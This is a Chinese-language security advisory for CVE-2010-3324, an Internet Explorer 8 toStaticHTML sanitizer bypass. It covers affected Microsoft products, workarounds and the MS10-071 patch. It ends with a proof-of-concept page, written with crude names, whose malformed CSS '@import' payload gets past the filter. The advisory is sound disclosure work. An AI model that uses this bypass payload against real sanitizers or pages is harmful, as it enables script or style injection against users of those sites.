BUGTRAQ ID: 42467
CVE(CAN) ID: CVE-2010-3324
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
IE8中对窗口对象提供了名为toStaticHTML的过滤方式。如果向这个函数传送了HTML字符串,在返回之前会删除所有可执行的脚本结构。例如,可使用toStaticHTML方式确保从postMessage调用所接收到的HTML无法执行脚本,但可利用基本格式:
document.attachEvent(‘onmessage’,function(e) {
if (e.domain == ‘weather.example.com’) {
spnWeather.innerHTML = window.toStaticHTML(e.data);
}
}
调用:
window.toStaticHTML("This is some <b>HTML</b> with embedded script following… <script>alert(‘bang!’);</script>!");
会返回:
This is some <b>HTML</b> with embedded script following… !
Microsoft Internet Explorer 8.0
Microsoft Windows SharePoint Services 3.0 sp2
Microsoft SharePoint Server 2007 SP2
Microsoft SharePoint Foundation 2010
Microsoft Office Web Apps
Microsoft Groove Server 2010
临时解决方法:
以纯文本读取邮件。
将Internet Explorer配置为在Internet和本地Intranet安全区域中运行ActiveX控件和活动脚本之前进行提示。
将Internet 和本地Intranet安全区域设置设为“高”,以便在这些区域中运行ActiveX控件和活动脚本之前进行提示。
厂商补丁:
Microsoft已经为此发布了一个安全公告(MS10-071)以及相应补丁:
MS10-071:Cumulative Security Update for Internet Explorer (2360131)
链接:http://www.microsoft.com/technet/security/bulletin/MS10-071.mspx?pf=true
<script type="text/javascript">
function fuckie()
{
var szInput = document.shit.input.value;
var szStaticHTML = toStaticHTML(szInput);
ResultComment = szStaticHTML;
document.shit.output.value = ResultComment;
}
</script>
<form name="shit">
<textarea name='input' cols=40 rows=20>
</textarea>
<textarea name='output' cols=40 rows=20>
</textarea>
<input type=button value="fuck_me" name="fuck" onclick=fuckie();>
</form>
<style>
}@import url('//127.0.0.1/1.css');aaa
{;}
</style>
<div id="x">Fuck Ie</div>